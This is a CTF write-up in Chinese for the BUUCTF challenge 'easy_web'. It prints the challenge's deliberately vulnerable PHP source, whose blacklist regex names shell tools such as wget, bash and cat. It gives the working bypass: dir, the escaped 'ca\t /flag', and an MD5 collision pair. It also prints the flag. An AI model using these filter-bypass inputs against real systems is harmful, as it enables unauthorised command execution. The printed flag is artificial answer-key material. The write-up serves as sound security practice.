BUUCTF [安洵杯 2019]easy_web

发布时间 2023-09-01 16:32:06作者: Amsterdamnit

试试模板注入发现,不行,然后伪协议,不行,再爆破目录也不行。
?img=TXpVek5UTTFNbVUzTURabE5qYz0入手,可能是base64编码。
base64解码:

(不知道为什么别的WP上变成这样了,否则解不出来)
TXpVek5UTTFNbVUzTURabE5q

得到:

MzUzNTM1MmU3MDZlNj

再base64解码:

MzUzNTM1MmU3MDZl

得到:

3535352e706e

ASCII hex解码得到:

555.pn(也就是555.png)

那我们尝试用这样的方法获取源码index.php

source --> ASCII --> base64 --> base64
index.php --> 696e6465782e706870 --> Njk2ZTY0NjU3ODJlNzA2ODcw --> TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

TmprMlpUWTBOalUzT0RKbE56QTJPRGN3代替原本的img文件名

得到网站源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>

要达到最后执行到``echo $cmd```,我们需要绕过preg_match()的过滤还有通过POST传递的ab`满足值不同,但md5加密后强比较相同。

  1. preg_match()绕过
    可以用linux命令绕过,使用dir命令代替ls命令
    首先?cmd=dir,没发现什么
    接着?cmd=dir%20/,发现根目录下的文件
bin   dev  flag  lib	media  opt   root  sbin  sys  usr
boot  etc  home  lib64	mnt    proc  run   srv	 tmp  var

接着?cmd=ca\t%20/flag

  1. md5强比较绕过
    给个例子:
string1=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
string2=4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2

他们有一样的md5值:

008ee33a9d58b51cfeb425b0959121c9

得到flag{ad515619-5003-4c37-951e-0b9acc4bc9e2}

REQUEST请求是POST的请求,但也有GET传参
GET请求转为POST请求加了一个字段Content-Type: application/x-www-form-urlencoded,可能是这个原因,请求中的数据需要url编码




参考链接:

https://crypto.stackexchange.com/questions/1434/are-there-two-known-strings-which-have-the-same-md5-hash-value
Linux命令执行绕过